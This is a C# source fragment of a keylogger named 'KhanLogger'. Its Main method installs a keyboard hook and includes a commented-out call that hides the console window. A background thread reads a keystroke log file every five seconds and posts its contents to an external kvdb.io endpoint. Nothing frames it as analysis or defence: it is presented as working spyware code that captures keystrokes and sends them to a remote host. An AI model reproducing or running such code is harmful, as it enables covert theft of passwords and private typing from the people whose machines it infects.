public static void upload(KhanLogger obj) { Console.WriteLine("upload2 called"); string path = @"D:"; while (true) { try { //StreamWriter sw = new StreamWriter(@path + @"\upload.txt", true); //sw.Write("Starting iteration\n"); int sleepfor = 5000; Thread.Sleep(sleepfor); string res = "2CD41GteLYLuvotryGMN5g"; string res_key = res; string updated_ep = "https://kvdb.io/" + res_key + "/hits"; //string path =@"D:"; string file_text = File.ReadAllText(@path + @"\keylog_up.txt", System.Text.Encoding.UTF8); var res1 = obj.PostRequestJson(updated_ep, file_text); //sw.Write(res1); //Console.WriteLine(res1); var res2 = obj.getData(updated_ep); // sw.Write(res1); //Console.WriteLine(res2); //sw.Close(); } catch (Exception ex) { Console.WriteLine("Exception : " + ex.Message); //sw.Write(ex.Message); } } }
static void Main(string[] args) { var handle = GetConsoleWindow(); KhanLogger obj = new KhanLogger(); // Hide // ShowWindow(handle, SW_HIDE); Thread thr1 = new Thread(new ParameterizedThreadStart(upload)); thr1.Start(obj); _hookID = SetHook(_proc); Application.Run(); UnhookWindowsHookEx(_hookID); }